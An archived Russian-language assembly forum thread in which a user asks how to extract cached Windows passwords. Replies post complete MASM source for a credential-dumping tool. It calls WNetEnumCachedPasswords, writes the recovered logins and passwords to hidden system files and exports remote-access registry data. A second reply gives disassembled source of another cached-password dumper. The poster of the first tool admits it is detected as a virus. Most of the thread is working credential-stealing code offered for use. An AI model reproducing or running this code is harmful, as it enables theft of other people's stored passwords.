· Начало · Статистика · WASM.RU · Noir.Ru ·

 WASM Phorum (Оффлайн - 24.11.2003) —› WASM.WIN32 —› Как выдрать кешерованные пароли?

Посл.отвђт Сообщенiе


Дата: Янв 7, 2003 01:16:46

Если кто знает как из под ассемблера выдрать кешерованные пароли , ивообще любые какие возможно выдрать из системы???

Помагите плизз


Дата: Янв 10, 2003 13:22:14

Для 95,98 и 2000 винды в инете полно прог, выгребающих пароли пользователей, работающих в этой системе. Я такую нашел через google, ключевое слово - PWL.


Дата: Янв 10, 2003 20:49:02

попробуй следующий код, написано было для того чтобы выдирать пароли и сохранять их на дискете. Правда некоторые проги ругаются на это и кричат что это вирус, отчасти это верно.
.386
.model flat,stdcall
option casemap:none

include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
include C:\masm32\include\comdlg32.inc
include C:\masm32\include\shell32.inc
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\comdlg32.lib
includelib C:\masm32\lib\shell32.lib

pwdextract PROTO :DWORD,:DWORD
.const
MAXSIZE equ 260
.data
hMapFile HANDLE 0
fMtStrinG db "%lu",0
open db "open",0
prefix db "A:\",0 ;нет необходимости
suffix db "A.txt",0
suffix2 db "B.txt",0
szLibName db 'MPR.DLL',0
szProcName db 'WNetEnumCachedPasswords',0
szSeparator db ' ',10,13
Title0 db '--==AsmPasswordExtractor==--',0
Title1 db 'Вот так, без выебонов, мы делаем охуенное дело!',0


nameregedit db "\regedit.EXE",0 ; buffer for command line
commandregeditprefix db "/E ",0
commandregeditsuffix db "B.txt HKEY_CURRENT_USER\RemoteAccess\Addresses",0

Source1 db "Domain",0
Source3 db "Network source",0
Source4 db "MAPI source",0
Source6 db "RAS connection",0
Source19 db "Internet source",0



.data?
hFileRead HANDLE ?
hFileWrite HANDLE ?
SizeWritten DWORD ?
file1 dd ?
dd 256 dup (?)
file2 dd ?
dd 256 dup (?)
file3 dd ?
dd 256 dup (?)
commandreg dd ?
dd 256 dup (?)
hConsole dd ?
hLib dd ?
iNumberWritten dd ?
hPass dd ?
prefixwin dd ?
dd 256 dup (?)
qqq dd ?
dd 256 dup (?)
www dd ?
dd 256 dup (?)
NamePasType dd 256 dup (?)
LongOfString dd 256 dup (?)
StartOfString dd 256 dup (?)
AppPathBuffer dd 256 dup (?)
LongLogin dd ?
dd ?
LongPassword dd ?
dd ?
TypeLogin dd ?
dd ?
.code
start:


invoke GetModuleFileName,0,ADDR AppPathBuffer,128 ; return length in eax

mov ecx,offset AppPathBuffer
lea ecx,[ecx+eax-6] ; add length to ecx - 6

; -----------------------------------------
; read backwards until first "\" character
; -----------------------------------------

@@:
mov al,[ecx] ; load byte at address in ECX
dec ecx ; dec ECX
cmp al,'\' ; compare if "\"
jne @B ; jump back to @@: if not "\"

mov byte ptr [ecx+2],0 ; write zero terminator after "\"
; invoke MessageBox,0,ADDR AppPathBuffer,ADDR AppPathBuffer,MB_OK ;выводит логин


invoke GetTickCount ;
invoke wsprintf,ADDR qqq,ADDR fMtStrinG,eax ;


invoke lstrcat,ADDR commandreg,ADDR commandregeditprefix ;
invoke lstrcat,ADDR commandreg,ADDR AppPathBuffer ;
invoke lstrcat,ADDR commandreg,ADDR qqq ;
invoke lstrcat,ADDR commandreg,ADDR commandregeditsuffix ;
invoke GetWindowsDirectory,ADDR prefixwin,MAX_PATH ;
invoke lstrcat,ADDR file2,ADDR prefixwin ;
invoke lstrcat,ADDR file2,ADDR nameregedit ;
invoke ShellExecute,0,offset open,offset file2,offset commandreg,0,SW_NORMAL ;
invoke lstrcat,ADDR file3,ADDR AppPathBuffer ;
invoke lstrcat,ADDR file3,ADDR qqq ;
invoke lstrcat,ADDR file3,ADDR suffix2 ;
invoke SetFileAttributes,ADDR file3,FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN

;invoke lstrcat,ADDR file1,ADDR prefix ;
invoke lstrcat,ADDR file1,ADDR AppPathBuffer ;
invoke lstrcat,ADDR file1,ADDR qqq ;
invoke lstrcat,ADDR file1,ADDR suffix ;

invoke CreateFile,ADDR file1, GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN,NULL
mov [hConsole], eax

invoke WriteFile, [hConsole], ADDR Title0,28, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Title1,47, Offset iNumberWritten, 0


invoke LoadLibraryA,ADDR szLibName ; Load library

or eax, eax ; just error handling
jz exit_program ; exit if error occured
mov [hLib], eax

invoke GetProcAddress,eax,ADDR szProcName ;get procedure address handle of .dll pointer to procedure name
mov [hPass],eax


push 0
push [Offset pwdextract]
push 255
push 0
push NULL
call [hPass] ;call WNetEnumCachedPasswords

cmp eax,259
je end_enumeration
cmp eax,0
jne end_enumeration


end_enumeration:

invoke FreeLibrary,[hLib] ; free library
invoke CloseHandle,[hConsole]
exit_program:
invoke ExitProcess,0


pwdextract proc pointer:DWORD,
HERNIA:DWORD


; Тип ресурса
mov ebx, [pointer]
lea eax, [ebx+7]
mov ebx, dword ptr [eax]
xor eax,eax
mov al,bl
mov TypeLogin,eax



.if TypeLogin == 1
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source1,6, Offset iNumberWritten, 0
.endif
.if TypeLogin == 3
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source3,14, Offset iNumberWritten, 0
.endif
.if TypeLogin == 4
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source4,11, Offset iNumberWritten, 0
.endif
.if TypeLogin == 6
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source6,14, Offset iNumberWritten, 0
.endif
.if TypeLogin == 19
invoke wsprintf,ADDR www,ADDR fMtStrinG,TypeLogin
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR Source19,15, Offset iNumberWritten, 0
.endif




; длина логина
mov ebx, [pointer]
lea eax, [ebx+2]
mov ebx, dword ptr [eax]
xor eax,eax
mov ax,bx
mov LongLogin,eax
; длина Пароля
mov ebx, [pointer]
lea eax, [ebx+4]
mov ebx, dword ptr [eax]
xor eax,eax
mov ax,bx
mov LongPassword,eax


push esi
push edi

mov ebx, [pointer]
lea eax, [ebx+8]


mov esi, eax ; source string address
mov edi, offset www ; sub string buffer address
add esi, 0 ; add starting position to esi
mov ecx, LongLogin ; put length in ecx
rep movsb ; write ln bytes to sub string buffer

mov al, 0 ; add terminator
stosb
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR www,LongLogin, Offset iNumberWritten, 0

pop edi
pop esi



push esi
push edi

mov ebx, [pointer]
lea eax, [ebx+8]


mov esi, eax ; source string address
mov edi, offset www ; sub string buffer address
add esi, LongLogin ; add starting position to esi
mov ecx, LongPassword ; put length in ecx
rep movsb ; write ln bytes to sub string buffer

mov al, 0 ; add terminator
stosb
invoke WriteFile, [hConsole], ADDR szSeparator+1, 1, Offset iNumberWritten, 0
invoke WriteFile, [hConsole], ADDR www,LongPassword, Offset iNumberWritten, 0

pop edi
pop esi


mov eax,1


ret
pwdextract endp

end start


Дата: Янв 16, 2003 17:54:12

Andron ты мне помог без гранично , но обьясни там в коде все правильно но создается только один файл в котором только данные из реестра!!!
А самих паролей как таковых нету!!!

ПОЧЕМУ???????


Дата: Янв 16, 2003 18:15:35

Andron ты мне помог без гранично , но обьясни там в коде все правильно но создается только один файл в котором только данные из реестра!!!
А самих паролей как таковых нету!!!

ПОЧЕМУ???????


Дата: Янв 21, 2003 20:49:26

; Вот посмотри мож поможет. Это результат моего дессамблирования
; проги Get Cached Passwords 1.0 by iken
;
; GCP Info:
; ''''''''
; Coded by: iken
; MaiL: acipton@lacasilla.com.ar
; uRL: http://acipton.cjb.net/
; DaTe: Oct 23rd, 2001
;----------------------------------------------------------------
.386
.model flat, stdcall
option casemap :none

include include\windows.inc
include include\user32.inc
include include\kernel32.inc
includelib lib\user32.lib
includelib lib\kernel32.lib


.const
szPwd_txt db 'pwd.txt',0
szFileName db 'MPR.DLL',0
WnetEnumCachedP db 'WNetEnumCachedPasswords',0
szFormat db 0Dh,0Ah
db '%s:%s',0
.data?
szNumOfBytes dd ?
szLogin db 100h dup(?)
szPass db 100h dup(?)
szBuf db 1000h dup(?)
.code
start:
call Prepare
cmp eax, 0FFFFFFFFh
jnz short @exit
lea edi, szBuf
mov ecx, eax
lea esi, szPwd_txt
;invoke MessageBox, 0, edi, esi, 0
;call Save
@exit:
invoke ExitProcess, 0

Prepare proc near
invoke LoadLibraryA, offset szFileName
or eax, eax
jz short @false
invoke GetProcAddress, eax, offset WnetEnumCachedP
or eax, eax
jz short @false
push eax
lea eax, szBuf
mov szNumOfBytes, eax
pop eax
push 0
push offset Dump
push 0FFh
push 0
push 0
call eax
or eax, eax
jz short @true
xor eax, eax
jmp short @false
@true:
mov eax, szNumOfBytes
sub eax, offset szBuf
retn
@false:
mov eax, 0FFFFFFFFh
retn
Prepare endp

Dump proc
push ebp
mov ebp, esp
push ecx
push edx
push esi
push edi
mov esi, [ebp+8]
movzx ecx, word ptr [esi+2]
add esi, 8
mov edi, offset szLogin
rep movsb
mov byte ptr [edi], 0
invoke MessageBox, 0, edi, edi, 0
mov esi, [ebp+8]
movzx ecx, word ptr [esi+4]
movzx edx, word ptr [esi+2]
add esi, 8
add esi, edx
mov edi, offset szPass
rep movsb
mov byte ptr [edi], 0
invoke wsprintf, offset szBuf, offset szFormat, offset szLogin, offset szPass
add esp, 10h
add szNumOfBytes, eax
mov eax, 1
pop edi
pop esi
pop edx
pop ecx
leave
ret
Dump endp

Save proc near
push ecx
invoke CreateFile, esi, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL ,1
pop ecx
push eax
invoke WriteFile, eax, edi, ecx , offset szNumOfBytes, NULL
pop eax
invoke CloseHandle, eax
ret
Save endp
end start


Дата: Янв 22, 2003 01:43:05

emelard,
второй файл с паролями hidden :)


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.038